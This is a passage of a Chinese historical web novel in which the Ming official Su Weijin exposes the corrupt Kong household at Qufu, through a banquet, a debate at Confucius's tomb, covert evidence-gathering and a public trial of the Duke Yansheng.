苏惟瑾坐在车里,闭着眼:“让他们盯。
到了圣人脚下,咱们是龙得盘着,是虎得卧着。”
话虽这么说,他脑中超频模式已经开启。
进城这一路,所见所闻全在分析——城门口收“进城税”的兵丁,眼神躲闪,多收钱少给票;
街上店铺门可罗雀,可掌柜的却红光满面,显然另有财路;
几个穿绸衫的年轻**摇大摆走过,腰间玉佩碰撞叮当响,百姓纷纷避让。
这就是曲阜。
圣人故里,儒学圣地,可底下全是生意。
马车停在孔府西侧的一座小院前。
这是云裳阁早年在曲阜置办的产业,名义上是家书铺,实际是情报点。
掌柜姓冯,四十来岁,见马车到了,赶紧迎出来。
“东家,您可算来了。”冯掌柜压低声音,“衍圣公府那边,三天前就知道您要来,这两天府里进出的人比往常多了一倍。”
苏惟瑾下车,拍了拍肩上的雪:“都来了哪些人?”
“兖州知府、滋阳县令、还有几个致仕的京官,都借‘年节拜会’的名头住进了孔府别院。
另外……”冯掌柜顿了顿,“济南府那边也来了人,据说是布政使司的参议,姓严。”
严家的人。
苏惟瑾嘴角微翘:“动作挺快。”
“还有件蹊跷事。”冯掌柜引着三人进院,关上门才道,“昨天孔府大管家亲自去了城西的‘鲁兴当铺’,当了些东西——都是古玩字画,价值不菲。
可孔府缺钱吗?
不缺。
为啥要当东西?”
苏惟瑾脚步一顿:“当了多少?”
“估摸着,得有两万两。”
两万两。
不是小数目。
孔府要这么多现银干什么?
他没往下问,只道:“衍圣公的帖子送到了?”
“送到了,半个时辰前。”冯掌柜从怀里取出张烫金请柬,“今晚酉时,孔府设宴,为伯爷接风洗尘。
落款是‘孔闻韶顿首’——和即墨那位同名不同宗。”
苏惟瑾接过请柬,扫了眼。
字写得圆润饱满,透着养尊处优的富贵气,和即墨孔闻韶那手瘦硬字完全不同。
“备礼。”他吩咐苏惟奇,“把从琉球带的那套‘海纹端砚’带上,再配两匹云锦。”
“会不会……薄了些?”苏惟奇犹豫。
按规矩,拜会衍圣公这种人物,起码得千两起步。
“够了。”苏惟瑾淡淡道,“送厚礼,反倒显得咱们心虚。”
酉时初,雪停了。
孔府中门前,两排大红灯笼照得雪地泛红。
门房八个,一律青缎棉袍,站得笔直。
见苏惟瑾的马车到了,为首的老门房上前两步,躬身道:“可是靖海伯驾临?
我家公爷已恭候多时。”
语气恭敬,可眼神里没多少温度。
苏惟瑾下车,胡三捧着礼盒跟在身后。
刚踏上台阶,中门“吱呀呀”开了——不是侧门,是中门。
这规格,是接待亲王、钦差的礼数。
门内传来爽朗笑声:“伯爷驾临,蓬荜生辉啊!”
一个五十来岁、富态雍容的中年人迎出来,身穿紫檀色缂丝鹤氅,头戴乌纱忠静冠,三缕长须梳理得一丝不乱。
正是当代衍圣公,孔闻韶(北宗)。
他身后跟着十几号人,有老有少,个个衣着光鲜。
雪光灯笼映照下,珠光宝气晃人眼。
苏惟瑾拱手:“衍圣公亲自相迎,折煞本伯了。”
“哪里哪里!”孔闻韶快步上前,一把扶住苏惟瑾的手臂,亲热得像见了多年老友,“伯爷东南平倭,扬我大明国威,功在社稷!
今日能来寒舍,是孔氏的荣耀!”
寒舍?
苏惟瑾抬眼望去——五进院落,飞檐斗拱,光门前的石狮子就比即墨县学门口那对大了三圈。
这要叫寒舍,紫禁城算茅草屋了。
两人并肩往里走。
孔闻韶一路介绍:这是某某族老,那是某某执事,这位是兖州知府,那位是致仕的工部侍郎……
每介绍一个,对方必躬身行礼,口称“伯爷”。
苏惟瑾含笑点头,超频大脑却在疯狂记录:那个胖族老眼神闪烁,手指一直在捻佛珠,心虚;
瘦高个的执事下巴微抬,嘴角下撇,不服;
后排几个年轻人低着头,但耳朵竖着,可争取。
宴席设在“诗礼堂”。
厅阔五间,雕梁画栋。
正中挂着孔圣人像,像前香案上供着三牲六果,香烟缭绕。
左右各摆八张紫檀八仙桌,桌上已摆满冷盘:水晶肘子、琥珀核桃、蜜汁火方、葱烧海参……
光看刀工摆盘,就知道厨子不是寻常人物。
“伯爷请上座。”孔闻韶引苏惟瑾到主桌。
按礼,主位该是衍圣公的。
但孔闻韶非让苏惟瑾坐,自己陪坐下首。
这姿态,做得十足。
众人落座。
乐声起,不是丝竹,而是编钟——好家伙,用天子礼乐待客。
苏惟瑾面色不变,心里冷笑:这是捧杀呢。
酒过三巡,场面话说完,进入正题。
孔闻韶举杯:“伯爷此番回京,途经曲阜,不知有何指教?
若有用得着孔氏之处,尽管开口。”
话问得客气,满桌人都放下筷子,等着听。
苏惟瑾抿了口酒——三十年陈的绍兴黄,醇厚。
“指教不敢。
本伯奉旨巡查天下文教,曲阜乃圣人故里,自当来看看。
另外……”
他顿了顿,扫视全场:“在东南时,有些见闻,颇有意思。”
“哦?”孔闻韶配合地问,“伯爷请讲。”
“琉球国主,如今对孔圣人敬仰有加。”苏惟瑾慢条斯理,“他说,读了《论语》,方知何为‘仁政’;
学了《春秋》,才懂‘大一统’之要义。
前些日子托使臣带话,想请孔氏子弟前往琉球,传经授课,教化蛮夷。”
话音落地,席间反应各异。
几个年轻子弟眼睛一亮,交头接耳。
海外传经?
这可是扬名立万的好机会!
那个瘦高执事却皱眉,低声道:“海外蛮荒之地,岂是圣人子弟该去的?”
另一个胖族老捻着佛珠:“是啊,舟车劳顿,水土不服,万一有个闪失……”
但更多年轻人跃跃欲试。
苏惟瑾看得分明——孔府内部,老辈守成,少壮思变,裂痕已经显现。
孔闻韶干笑两声:“琉球王有心了。
此事……容后再议。
伯爷在东南,可还见着别的趣事?”
转移话题?
苏惟瑾心里门清,顺着话头道:“趣事谈不上,倒是有些感悟。
陛下近年来潜心修仙,屡得祥瑞,此乃‘天人感应’之至境。
本伯以为,孔府作为儒门领袖,当为天下先。”
席间安静下来。
“伯爷的意思是……”孔闻韶试探。
“为陛下‘修仙证道’著书立说,以正视听。”苏惟瑾一字一句,“修仙非道家专利,儒家亦有‘修身齐家治国平天下’之说。
陛下参悟天人之道,正是践行圣人之教。
若孔府能领衔编纂《圣王修仙录》,阐发修仙与儒道相通之处,必能青史留名。”
“啪嗒”一声,有个族老的筷子掉了。
满座皆惊。
修仙?
著书?
还扯上儒家?
那个胖族老脸都白了:“伯爷,这……这恐怕不妥吧?
修仙乃方外之事,我儒家……”
“方外?”苏惟瑾打断他,“《易经》云‘穷理尽性以至于命’,这不是修仙是什么?
《中庸》言‘致中和,天地位焉,万物育焉’,这不是天人感应?
诸位都是饱学之士,难道不知,儒道本同源?”
他一顶顶大帽子扣下来,扣得众人哑口无言。
孔闻韶额头冒汗。
他算是听明白了——这位靖海伯,是要逼孔府站队,而且是要站到“为修仙背书”的队里去。
站了,得罪天下清流;
不站,得罪皇帝和眼前这位权臣。
两难。
席间气氛僵住了。
乐师不知该不该继续奏乐,厨子端着热菜在门口不敢进。
这时,后排一个年轻人忽然起身,拱手道:“伯爷高见!
晚生以为,陛下修的是‘圣王之道’,非寻常炼丹服饵可比。
若能以儒家经典阐发其理,正是我辈读书人该为之事!”
说话的是个二十出头的青年,叫孔贞明,孔闻韶的侄孙。
他一开口,立刻有几个同龄人附和:“贞明兄说得对!”
“儒家当与时俱进!”
老辈们脸
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色难看。
瘦高执事冷哼:“黄口小儿,懂得什么!”
眼看要吵起来,孔闻韶赶紧打圆场:“此事……此事关系重大,容老夫与族老们商议。
伯爷,咱们先喝酒,喝酒!”
他举杯,众人勉强跟着举。
宴席后半段,气氛诡异。
表面推杯换盏,底下各怀鬼胎。
苏惟瑾谈笑自若,心里却把每个人的反应记了个清清楚楚——谁动了心,谁在抗拒,谁在观望。
戌时末,宴散。
孔闻韶亲自送苏惟瑾到中门,拉着他的手道:“伯爷今日所言,振聋发聩。
老夫定会慎重考虑。”
“有劳公爷费心。”苏惟瑾微笑,“对了,本伯明日想去拜谒孔林、孔庙,不知可否?”
“当然!
老夫亲自陪同!”
“不必劳烦公爷,派个熟路的执事即可。”
“那……就让贞明陪伯爷去吧,年轻人腿脚利索。”
“甚好。”
马车离开孔府,驶入夜色。
车里,胡三低声道:“公子,宴上那酒……有问题。”
苏惟瑾闭着眼:“知道。
第三杯开始,酒味变了,加了料。
不过剂量很小,顶多让人多睡会儿。”
“他们敢下药?”
“试探罢了。”苏惟瑾冷笑,“看我能不能尝出来。
尝不出来,说明我这‘靖海伯’不过如此;
尝出来了却不发作,说明我忍得住气——无论哪种,他们都能估摸我的深浅。”
“那咱们……”
“将计就计。”苏惟瑾睁开眼,“明天去见孔贞明,这小子是突破口。
另外,让冯掌柜去查,孔府当那两万两银子,到底花哪儿去了。”
他顿了顿,忽然想起什么:“宴上那个一直没说话的白胡子老头,是谁?”
胡三回忆了下:“坐在衍圣公左手边第二位,穿褐色直裰的那个?”
“对。”
“那是孔府大执事,管账房的,叫孔闻达。
听说脾气古怪,不爱说话,但手底下管着孔府七成产业。”
苏惟瑾若有所思。
账房先生?
两万两?
严家的人?
这几个线索串起来,有意思了。
马车驶过曲阜城墙,远处传来打更声。
雪又下起来了,纷纷扬扬。
而在孔府深处,诗礼堂侧厢,孔闻韶正阴沉着脸听汇报。
“公爷,那苏惟瑾出了门就直接回住处,没去别处。”瘦高执事低声道,“咱们的人一直盯着。”
“他带来的那两个随从呢?”
“那个黑脸的守在院里,寸步不离。
年轻的去厨房要了热水,没什么异常。”
孔闻韶捻着胡须,半晌道:“此人……不简单。
宴上那番话,句句挖坑。
贞明那几个小子,已经动了心思。”
“要不……”瘦高执事做了个抹脖子的手势。
“蠢!”孔闻韶瞪眼,“他是钦封靖海伯,死在这儿,咱们全得陪葬!
严家那边怎么说?”
“严参议让您放心,京城那边已经安排好了。
只要拖住苏惟瑾,不让他年三十前进京,剩下的事他们办。”
“拖?”孔闻韶苦笑,“怎么拖?
人家明天就要去孔林,我能拦着?”
他走到窗前,望着漫天飞雪,忽然道:“闻达呢?”
“在账房。”
“叫他来。”
不多时,那个白胡子老头孔闻达慢吞吞进来,行礼:“公爷。”
“账上那两万两,处理干净了?”
“干净了。”孔闻达声音沙哑,“走的是‘修缮孔庙’的账,票据齐全。
就算查,也查不出毛病。”
“那就好。”孔闻韶松了口气,又皱眉,“你说,这苏惟瑾突然提修仙著书,到底什么意思?”
孔闻达抬眼,昏花的老眼里闪过一丝精光:“公爷,他是在找刀。”
“刀?”
“一把能砍向严家,也能砍向咱们的刀。
谁接这话茬,谁就是他的刀。”孔闻达缓缓道,“贞明少爷……已经伸手去握刀柄了。”
孔闻韶脸色一变。
窗外,雪更大了。
宴席上的暗流刚刚浮现,孔贞明等年轻一辈已显动摇。
可那沉默的账房先生孔闻达,竟一眼看穿苏惟瑾的算计——此人真是寻常老朽?
更蹊跷的是,严家让孔府“拖住”苏惟瑾,究竟在京中布了什么局?
而孔府账上那两万两银子的真正去向,是否与胶州湾那批刺客有关?
苏惟瑾明日孔林之行,等待他的将是真诚的向导,还是另一个精心布置的陷阱?
雪夜之下,曲阜这座千年圣城,暗潮已汹涌至随时可能破冰而出……
第389章 瑾祭孔林墓,舌战群腐儒
腊月二十五,雪霁。
孔林的**上积了层白,远远望去像戴了孝。
通往孔子墓的神道两旁,石碑林立,从汉到明,各朝皇帝追封的谥号刻满了石面。
雪光映着苍苔,肃穆得让人不敢高声。
辰时三刻,祭礼开始。
孔府这次来了三十多人,除了衍圣公孔闻韶,还有十二位族老、十八位有头脸的子弟。
苏惟瑾这边只带了胡三和苏惟奇,三人青袍素服,站在人群里格外显眼。
祭台设在孔子墓前。
三牲六畜,时鲜果蔬,堆得小山似的。
香案上那尊青铜鼎,据说是宋徽宗御赐的,泛着幽光。
礼乐起。
不是昨晚宴席的编钟,而是埙、篪、琴、瑟这些古乐,调子沉缓,听得人心里发慌。
主祭的是孔闻韶。
他捧着玉帛,一步三顿地走到墓前,展开祭文,用那种古奥的腔调念起来:“维嘉靖十三年腊月廿五,孔子六十一代孙闻韶,谨以清酌庶羞之奠,敢昭告于始祖至圣文宣王……”
念了足足一刻钟。
苏惟瑾垂手站在侧后方,超频大脑却在同步分析:这祭文格式是仿《尚书》的,用了十七处生僻典故,三处用韵错误——估计是哪个老学究写的,专为显摆学问。
终于念完了。
孔闻韶退后,按理该苏惟瑾这个“客祭”上前行礼。
可他不按套路出牌。
“衍圣公,”苏惟瑾忽然开口,“本伯昨夜读《论语》,有一惑,想借今日祭圣之机,请教诸位大儒。”
全场一静。
孔闻韶眼皮跳了跳,勉强笑道:“伯爷请讲。”
苏惟瑾走到墓前,没碰祭品,只对着墓碑躬身一礼。
然后转身,扫视全场:“《论语·述而》有云:‘子不语怪力乱神’。
请问诸位,此言何解?”
这问题太基础了。
一个白胡子族老捻须道:“此乃圣人不妄谈鬼神怪异之事,专注人伦日用也。”
“善。”苏惟瑾点头,“然《易传·文言》又云:‘夫大人者,与天地合其德,与日月合其明,与四时合其序,与鬼神合其吉凶’。
这‘与天地合其德’,又当何解?”
另一个瘦高族老接话:“此乃君子修养之至高境界,法天象地,德配乾坤。”
“那么,”苏惟瑾话锋一转,“陛下近年来潜心修仙,参悟天人之道,以求‘与天地合其德’,正是践行圣人之教。
为何朝野之间,却有非议之声?”
这话像块石头砸进冰窟窿。
几个族老脸色变了。
那个胖族老捻佛珠的手停在半空:“伯爷,修仙乃方士所为,岂能与圣人……”
“方士?”苏惟瑾打断他,“《中庸》开篇即言:‘天命之谓性,率性之谓道,修道之谓教’。
请问,‘修道’二字作何解?
难道不是修**天道?
《大学》八目,从格物致知到治国平天下,最后一步是什么?
是‘明明德于天下’,这不就是‘内圣外王’?
陛下修仙以求天人合一,不正是在实践‘内圣’之功?”
他语速不快,但字字清晰,每句都引经据典。
超频大脑将历代儒学诠释调取出来,择其要害,层层递进。
一个族老急道:“可炼丹服饵,非圣人之教!”
“谁说是炼丹服饵?”苏惟瑾反问,“陛下修的是‘圣王之道’!
前日京中呈报,陛下在西苑耕读,一日锄禾三亩,亲尝农桑之苦——这不是‘修身’?
陛下精简宫用,减膳撤乐,省下的银子用于赈灾——这不是‘齐家治国’?
陛下夜观星象,推算节气以利农时——这不是‘参赞天地之化育’?”
他每说一句,就往前一步。
那些族老被逼得步步后退。
“反倒是诸位,”苏惟瑾站定,声音陡然转冷,“拘泥章句,死守旧说。
见到陛下有超越凡俗之举,便以‘怪力乱神’非议。
岂不知,《论语》里‘子不语’,是‘不语’,不是‘不信’!
孔子敬鬼神而远之,远之是态度,敬之才是根本!
你们倒好,只学了‘远之’,忘了‘敬之’,本末倒置!”
雪地里,只有他一个人的声音在回荡。
年轻子弟们听得目瞪口呆。
孔贞明攥着拳头,眼睛发亮。
几个同龄人交换眼神,都在彼此眼中看到了震撼——这番论述,他们闻所未闻,但句句在理,驳不倒。
那个瘦高执事忍不住了,站出来:“伯爷此言差矣!
儒家自有正统,岂能与方术混为一谈?
历代大儒……”
“历代大儒?”苏惟瑾笑了,“好,咱们就说历代。
董仲舒倡‘天人感应’,是不是儒家?
他借谶纬解经,是不是混了方术?
程朱理学讲‘格物穷理’,穷的是什么理?
是天道!
陆王心学说‘心即理’,心何以知天?
还不是要参悟天人?”
他如数家珍:“汉儒杂谶纬,宋儒融佛道,哪一代不是在变?
到了我大明,陛下得天之佑,祥瑞频现,西苑现七彩云,太庙生灵芝——这难道不是‘天人感应’之显证?
孔府作为儒门领袖,不为陛下正名,反拘泥旧说,岂不是悖离圣人之教?
岂不是……不识时务?”
最后四个字,他说得很轻,但像刀子一样扎进每个人心里。
孔闻韶脸都白了。
他算是听明白了——苏惟瑾这是要把“修仙”和“儒家正统”绑死。
孔府若接这话,就是承认皇帝修仙合于圣道;
若不接,就是“悖离圣教”“不识时务”。
怎么选都是坑。
雪又飘起来,落在众人肩头。
沉默了足足半盏茶功夫。
终于,孔贞明第一个跪下,对着孔子墓叩首:“先祖在上,贞明愚钝,今日方悟陛下圣心!
儒家当与时俱进,为天下正名!”
他一跪,又有四五个年轻人跟着跪了。
老辈们气得发抖。
胖族老指着孔贞明:“你、你……孽障!”
可骂归骂,没人能反驳苏惟瑾那套逻辑。
因为那套逻辑,是用他们最熟悉的经典,构筑起来的铜墙铁壁。
祭礼草草收场。
回城的马车上,孔闻韶闭着眼,一言不发。
他知道,孔府内部,裂了。
午时,苏惟瑾住处。
孔贞明带着三个同龄人悄悄来访。
都是二十出头的年纪,眼里有光,也有忐忑。
“伯爷今日一席话,振聋发聩。”孔贞明行礼,“晚辈等思之再三,深觉伯爷所言在理。
孔府……确实到了该变的时候。”
苏惟瑾请他们坐下,让苏惟奇上茶。
“变,怎么变?”他问。
一个叫孔贞亮的青年道:“族中田产七万亩,但祭田不过八千,其余都是强占、兼并来的。
佃户苦不堪言,去年就有三家被逼得上吊。”
另一个叫孔贞清的道:“府里私设刑堂,动辄鞭挞奴仆。
上月有个丫鬟被活活打死,就因为她打碎了个花瓶。”
孔贞明咬牙:“最可恨的是,族老们与严家勾结,把持科举名额。
山东乡试,每科必有两个名额被孔府子弟占去——不管学问好坏!
去年有个寒门举子,文章本可取中,却被顶了名,气疯了,如今还在家疯言疯语。”
苏惟瑾静静听着,等他们说完了,才道:“你们想怎么做?”
四人互看一眼,孔贞明道:“晚辈愿助伯爷整顿孔府!
只要伯爷……”
“只要我保你们前程?”苏惟瑾笑了,“可以。
事成之后,孔贞明,你袭衍圣公爵位。
其余诸位,或入国子监,或外放为官,最低从六品起步。”
四人呼吸急促起来。
“但,”苏惟瑾话锋一转,“我要实据。
强占田地的地契、私设刑堂的案卷、科举舞弊的文书——都要原件。”
孔贞明犹豫:“这些……都在账房和库房,有专人把守。”
“这个不用你们管。”苏惟瑾摆
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摆手,“你们只需告诉我,东西在哪儿。”
四人低语片刻,画了张简图——账房在府内东跨院,库房在西侧,私牢在后花园假山下。
送走四人,胡三从屏风后转出来:“公子,这几个小子可靠吗?”
“年轻,想出头,又看不惯家族**——这种人最好用。”苏惟瑾看着那张图,“今晚动手。”
子夜,雪停了,月亮出来。
孔府后墙根下,胡三蹲在那儿,从怀里掏出个小布包。
打开,里面是几只灰**鼬鼠,眼珠子在月光下滴溜转。
“去,”胡三低声吩咐,“按图上的位置,找纸质文书、账册、地契。
找到了就回来报信。”
鼬鼠“吱”了一声,钻进墙洞。
胡三翻身上墙,如狸猫般悄无声息落地,隐入阴影。
苏惟瑾在墙外等着,闭目养神。
约莫两刻钟,第一只鼬鼠回来,嘴里叼着片纸屑——是地契的一角,上面有“嘉靖八年”“孔府置”等字。
紧接着第二只、第三只……带回来的有撕破的诉状、染血的供词、还有半张礼单,上面列着送给严家某某人的金银数目。
胡三在墙内接应,把鼬鼠找到的东西塞进怀里。
正要翻墙出来,忽然听见脚步声。
两个护院提着灯笼走过,边走边聊。
“大半夜的,谁还在账房?”
“还能有谁?闻达老爷子呗。
听说这几天都在对账,灯亮到三更。”
“这么勤快?”
“勤快个屁!
怕是账有问题,在抹平呢……”
声音渐远。
胡三眼珠一转,顺着墙根摸向东跨院。
账房窗户果然亮着灯。
胡三舔破窗纸往里看——孔闻达那个白胡子老头,正坐在案前,一手拨算盘,一手翻账册。
案上堆了七八本账,还有一沓银票。
老头忽然停手,抬头看向窗户。
胡三屏息。
孔闻达看了半晌,摇摇头,继续对账。
但他把账册翻到了最后一页,拿起笔,在空白处写了几个字,又迅速撕下,塞进袖中。
胡三看得分明——那纸上写的是:“两万两,已入严府,账平。”
他悄然后退,翻墙出来。
“公子,有大发现。”胡三把所见一说。
苏惟瑾眼神冷了:“两万两……果然是给严家的。
看来孔府和严党,绑得比想象中死。”
正说着,最后一只鼬鼠回来,叼着份完整的地契——上面清清楚楚写着“强占民田三百亩”,盖着孔府大印,时间是嘉靖十年。
此外还有几份供词,是佃户按了手印的,诉说自己田地如何被占,儿女如何被逼为奴。
铁证如山。
“够了。”苏惟瑾把证据收好,“明日一早,启程回京。”
“公子,不继续查了?”
“查到底,就撕破脸了。”苏惟瑾望着孔府高墙,“现在这样刚好——咱们有把柄,他们知道咱们有把柄,但还没到鱼死网破的地步。
等回京后,这些证据就是悬在他们头顶的刀,什么时候落,咱们说了算。”
两人消失在夜色中。
而账房里,孔闻达放下笔,走到窗前,望着苏惟瑾离去的方向,叹了口气。
他从袖中取出那张纸条,就着烛火烧了。
灰烬落进炭盆时,他喃喃自语:“年轻人……动作倒是快。
可惜啊,有些账,不是查清楚了就能算清的……”
窗外,月亮又被云遮住了。
证据到手,孔府把柄在握。
可孔闻达那句“有些账不是查清楚了就能算清的”,透着蹊跷——难道还有更深的隐账?
而两万两银子流入严府,到底买了什么?
更关键的是,苏惟瑾原定明日回京,但胡三在账房外偷听时,似乎漏掉了一个细节:
孔闻达在烧纸条前,曾对着账册某一页发了很久的呆,那一页的边角,隐约可见一个特殊的标记——火焰缠着剑,与之前在琉球密信上发现的,一模一样。
这个沉默的账房先生,究竟是谁的人?
第390章 公堂审衍圣,罪证惊四方
腊月二十八,曲阜县衙前人山人海。
天还没亮,衙门口那条街就给挤满了。
有从四乡八里赶来的佃户,有城里的商户,也有纯粹看热闹的闲人。
衙役拿着水火棍维持秩序,嗓子都喊哑了:“别挤!”
“都退后!”
“退后!”
可没人听。
消息三天前就传开了——靖海伯要在县衙公审衍圣公!
这可是千年头一遭!
“真审啊?”
“那可是衍圣公!”
“审的就是他!”
“听说孔府这些年坏事做尽,强占田地,逼**命,连朝廷赈灾粮都敢贪!”
“不能吧?”
“圣人后代……”
“圣人后代怎么了?”
“圣人后代就能无法无天?”
议论声嗡嗡的,像一锅滚水。
有人信,有人不信,但都伸长脖子等着看这场大戏。
辰时三刻,三声炮响。
“升——堂——”
衙役拖着长音,水火棍敲地。
“威——武——”
苏惟瑾从后堂走出,没穿靖海伯的麒麟服,而是换了身绯色官袍——这是正三品以上大员审理要案时的公服。
他往公案后一坐,目光扫过堂下,堂外嘈杂声瞬间低了下去。
“带苦主。”
三十多人鱼贯而入,有老有少,有男有女。
个个衣衫褴褛,但眼神里都憋着火。
领头的是个五十多岁的老汉,姓李,一进来就跪下了,梆梆磕头:“青天大老爷!”
“给草民做主啊!”
苏惟瑾抬手:“慢慢说。”
“从何时何事说起。”
李老汉抹了把泪:“嘉靖八年,孔府扩建祭田,强占草民家祖传的三亩水浇地。”
“草民去理论,被家丁打断了腿。”
“草民的老伴去县衙告状,县令说‘孔府的事管不了’,把她轰了出来。”
“老伴气不过,跳了井……”
他说着说着嚎啕大哭。
堂外百姓听得咬牙切齿。
一个接一个,三十多个苦主,诉说的都是类似的遭遇——田地被占,儿女被逼为奴,告状无门,家破人亡。
说到动情处,堂外响起一片啜泣声。
“带被告。”
苏惟瑾面无表情。
衍圣公孔闻韶(北宗)被带了上来。
他还穿着那身紫檀色缂丝鹤氅,但脸色灰败,眼袋浮肿,显然这几天没睡好。
身后跟着十几个族老,那个胖族老、瘦高执事都在,一个个垂头丧气。
孔闻韶勉强挺直腰板,拱手:“伯爷,这些刁民信口雌黄,诬告孔府!”
“孔府千年清誉,岂容他们玷污!”
“清誉?”
苏惟瑾冷笑。
“来人,呈证物。”
苏惟奇捧着一叠文书上前,当众展开。
第一份,是地契。
厚厚一沓,足有上百张,都是嘉靖年间孔府“购置”田产的文书。
但细看就会发现——买卖双方签字处,卖方都是按的手印,且手印模糊不清;
价格一栏,十亩上等水田只写“纹银三两”,简直是白送。
“衍圣公,”
苏惟瑾拿起一张。
“嘉靖十年,你以三两银子‘买’下王家庄李二狗家二十亩水田。”
“当时市价,一亩水田最少八两。”
“这买卖,公道吗?”
孔闻韶强辩:“那……那是李二狗自愿贱卖!”
“自愿?”
苏惟瑾朝堂下一招手。
“带李二狗。”
一个瘸腿中年人被扶上来,扑通跪倒:“青天大老爷!”
“那地是草民祖产,草民从未说过要卖!”
“是孔府家丁把刀架在草民脖子上,逼着按的手印!”
“草民不依,他们就把草民的腿打断了!”
堂外一片哗然。
孔闻韶额头冒汗:“他、他胡说!”
“那这个呢?”
苏惟瑾又展开一份供状。
“孔府私设水牢,关押拖欠租子的佃户。”
“去年腊月,佃户张三冻死在水牢中。”
“这是仵作的验尸格目,还有当时看守水牢的家丁供词——画押在此。”
家丁被带上来,抖得跟筛糠似的:“是……是公爷下令关的。”
“小的劝过,说天太冷,公爷说‘冻**活该’……”
孔闻韶脸色白了三分。
“还有这个。”
苏惟瑾拿起几张图纸。
“孔府后花园假山下,私设刑堂,刑具齐全。”
“这是从你府中搜出的图纸,上面还有你的批注——‘此夹棍甚好,可多用’。”
图纸传下去,百姓们看得倒吸凉气。
那上面画的夹棍、烙铁、老虎凳,比衙门刑具还齐全。
孔闻韶腿开始发抖,但还嘴硬:“这……这都是府中刁奴私下所为,与本公无关!”
“无关?”
苏惟瑾忽然笑了,那笑容冷得像冰。
“好,那咱们看最后一桩。”
他拍了拍手。
胡三从后堂抬出个樟木箱子,打开,里面是几十本账册。
“这是从你孔府密室搜出的私账。”
苏惟瑾随手拿起一本。
“嘉靖十一年,**兖州知府白银五千两,换取包庇强占民田案。”
“有知府收条为证。”
又拿起一本:“嘉靖十二年,截留朝廷赐田租赋两万三千石,私下贩卖,获利一万八千两。”
“这是出货记录。”
再一本:“嘉靖十三年春,通过海商赵魁,向倭寇走私生铁三百担,换购东珠、珊瑚等奢侈品。”
“这是往来书信和货单。”
每念一条,堂内堂外就静一分。
等念到最后那条“走私生铁给倭寇”,死一样的寂静。
然后,炸了。
“畜生!”
不知谁先喊了一声。
“通倭!”
“这是通倭!”
“圣人后代居然干这种勾当!”
百姓们红了眼,要不是衙役拦着,怕是要冲进来把孔闻韶撕了。
孔闻韶彻底瘫了,一屁股坐在地上,嘴唇哆嗦:“这……这账是假的……”
“是伪造……”
“伪造?”
苏惟瑾走到他面前,蹲下,拿起那本走私账册,翻到最后一页。
“这上面有你孔府的大印,还有你的亲笔批注——‘货要快,价可高’。”
“要不要找个笔迹先生来验?”
孔闻韶张了张嘴,一个字都说不出来。
“衍圣公,”
苏惟瑾站起身,声音传遍整个大堂。
“孔圣人说‘修己以安百姓’。”
“你这修的什么己?”
“安的什么百姓?”
“强占民田、草菅人命、**官员、截留租赋,甚至……通倭!”
他每说一个词,就往前一步。
孔闻韶往后缩,缩到墙角,无路可退。
“千年孔府,清誉何在?”
“圣人家风,又在何处?”
苏惟瑾转身,面向堂外百姓,朗声道:“今日,本伯代天子巡查,就要还曲阜百姓一个公道!”
他走回公案,抓起惊堂木。
“啪!”
一声脆响,全场肃静。
“经查,衍圣公孔闻韶(北宗),身犯十罪:一、强占民田三千六百亩;二、逼死佃户七人;三、私设刑堂水牢;四、**地方官员;五、截留朝廷赐田租赋;六、走私生铁通倭;七、科举舞弊;八、纵奴行凶;九、伪造田契;十、欺君罔上!”
每念一罪,堂外百姓就喊一声“好”。
“数罪并罚,依《大明律》,当斩!”
孔闻韶两眼一翻,晕了过去。
“但念其为圣人后裔,本伯奏请圣裁之前,暂不处决。”
苏惟瑾话锋一转。
“现判:衍圣公孔闻韶革去爵位,押送京城候审!”
“涉案族老十三人,依律严惩!”
“所侵田产,尽数归还百姓!”
“孔府历年非法所得,充公!”
“好!”
“青天大老爷!”
百姓欢呼声震天。
有人当场跪下磕头,有人喜极而泣。
苏惟瑾抬手示意安静,继续道:“然,孔府不可一日无主,圣人祭祀不可荒废。”
“经查,孔氏南宗子弟孔闻韶(南宗),学问纯正,品德端方,且深明大义,愿整顿门风。”
“本伯奏请陛下,敕封其为新任衍圣公,暂代孔府事务!”
话音落地,孔闻韶(南宗)从侧堂走出。
他还是那身洗得发白的青布直裰,但腰板挺得笔直。
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他先对苏惟瑾深施一礼,然后转身,对着堂外黑压压的百姓,撩袍跪下。
“孔氏不肖子孙闻韶,今日在此立誓:自即日起,孔府所有田产重新清丈,强占者一律归还;所有奴仆,愿留者留,愿去者发放遣散银;府中开支,每月张榜公示。”
“若违此誓,天诛地灭!”
他说得铿锵有力。
百姓愣了片刻,爆发出更热烈的欢呼。
“这才是圣人之后!”
“孔先生,我们信你!”
孔闻韶(南宗)起身,眼中含泪。
他等这一天,等了二十年。
退堂后,县衙后院。
苏惟瑾换回常服,正在看刚送来的京城密报。
胡三进来禀报:“大人,人都押走了。”
“孔闻韶(北宗)那帮人,装了六辆囚车,周将军派了三百精兵押送,保证一只苍蝇都飞不出去。”
“嗯。”
苏惟瑾点头。
“孔闻韶(南宗)那边怎么样了?”
“已经开始清点田产了。”
“那些苦主都围着他不肯走,说要给他立生祠。”
“生祠就不必了。”
苏惟瑾摆摆手。
“让他把事办好,比什么都强。”
正说着,苏惟奇匆匆进来,脸色古怪:“大人,那个账房先生孔闻达……不见了。”
“什么?”
苏惟瑾皱眉。
“押送名单里没有他?”
“没有。”
“今早去提人时,他屋里就空了。”
“问了同牢房的,说昨夜三更,有人来提审他,之后就再没回来。”
苏惟瑾放下密报,走到窗前。
雪又下了,细密的雪子打在窗纸上,沙沙响。
孔闻达……
那个白胡子老头,账册里那个“火焰缠剑”的标记……
“大人,要不要全城搜捕?”
胡三问。
“不必了。”
苏惟瑾摇头。
“他能悄无声息地消失,说明有人接应。”
“搜也搜不到。”
他沉吟片刻:“那本记着走私的账册,再拿给我看看。”
苏惟奇赶紧取来。
苏惟瑾翻到记录走私生铁的那几页,超频大脑重新分析每一个细节——时间、数量、接头人、船只编号……
忽然,他手指停在一行小字上。
那是在页边空白处,用极淡的墨写着几个数字:“甲午、三七、子时、刘公岛”。
甲午?
今年就是甲午年。
三七?
三月七日?
子时……
刘公岛……
苏惟瑾瞳孔一缩。
刘公岛在登州外海,是水师驻防地。
如果走私船要在那里接货,说明……
“水师里有人。”
他低声说。
胡三没听清:“大人?”
“没什么。”
苏惟瑾合上账册。
“准备一下,明日一早,启程回京。”
“可是大人,今日才腊月二十八,原定是除夕前进京就……”
“必须明天走。”
苏惟瑾打断他。
“我有种感觉,京城那边,要出大事。”
窗外,雪越下越大。
而在曲阜城外二十里的官道上,一辆不起眼的青篷马车正往北疾驰。
